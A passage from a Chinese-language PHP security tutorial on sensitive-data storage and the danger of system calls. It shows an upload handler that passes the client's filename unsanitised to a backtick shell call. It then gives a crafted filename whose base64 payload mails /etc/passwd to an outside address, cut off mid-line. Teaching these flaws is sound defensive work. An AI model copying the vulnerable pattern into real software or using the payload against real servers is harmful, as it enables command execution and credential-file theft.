敏感数据: 、 目录中存储敏感数据: 任何和所有的敏感数据都应该存放在独立于需要使用数据的程式的文件中, 并保存在一 个不能通过浏览器访问的目录下。当需要使用敏感数据时,再通过 include 或 require 语句 来包含到适当的 PHP 程式中。
错误 3、不使用推荐的安全防范措施: 、不使用推荐的安全防范措施: PHP 手册包含了在使用和编写 PHP 程式时关于安全防范的完整章节。手册也(几乎) 基于案例清楚的说明了什么时候存在潜在安全风险和怎么将风险降低到最低。 又如, 恶意用 户依靠开发者和管理员的失误得到关心的安全信息以获取系统的权限。 留意这些警告并适当 的采取措施来减小恶意用户给你的系统带来真正的破坏的可能性。
在 PHP 中执行系统调用:在 PHP 中有很多方法可以执行系统调用。 比如,system(), exec(), passthru(), popen()和 反单引号(`)操作符都允许你 在程式中执行系统调用。 如果不适当的使用上边这些函数将会为恶意用户在你的
服务器上执 行系统命令打开大门。像在访问文件时,绝大多数情况下,安全漏洞发生在由于不可靠的外 部输入导致的系统命令执行。
使用系统调用的一个例子程式: 考虑一个处理 http 文件上传的程式, 它使用 zip 程序来压缩文件, 然后把它移动到指定 的目录(默认为/usr/local/archives/)。代码如下:
$zip = "/usr/bin/zip"; $store_path = "/usr/local/archives/";
if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip"; $filename = basename($cmp_name);
if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`;
if (file_exists($cmp_name)) { $savepath = $store_path.$filename; rename($cmp_name, $savepath); } } } ?>
虽然这段程式看起来相当简单易懂, 但是恶意用户却可以通过一些方法来利用它。 最严 重的安全问题存在于我们执行了压缩命令(通过`操作符),在下边的行中可以清楚的看到
这点:
if (isset($_FILES['file'])) { $tmp_name = $_FILES['file']['tmp_name']; $cmp_name = dirname($_FILES['file']['tmp_name']) . "/{$_FILES['file']['name']}.zip";
$filename = basename($cmp_name);
if (file_exists($tmp_name)) { $systemcall = "$zip $cmp_name $tmp_name"; $output = `$systemcall`; ... 欺骗程式执行任意 shell 命令 虽然这段代码看起来相当安全,它却有使任何有文件上传权限的用户执行任意 shell 命 令的潜在危险!
准确的说,这个安全漏洞来自对$cmp_name 变量的赋值。在这里,我们希望压缩后的 文件使用从客户机上传时的文件名(带有 .zip 扩展名)。我们用到了$_FILES['file']['name'] (它包含了上传文件在客户机时的文件名)。
在这样的情况下, 恶意用户完全可以通过上传一个含对底层操作系统有特殊意义字符的 文件来达到自己的目的。举个例子,如果用户按照下边的形式创建一个空文件会怎么样? (UNIX shell 提示符下)
[user@localhost]# touch ";PHP -r '$code=base64_decode( "bWFpbCBiYWR1c2VyQHNvbWV3aGVyZS5jb20gPCAvZXRjL3Bhc3N3ZA=="); 本文档由网址导航 91913 整理。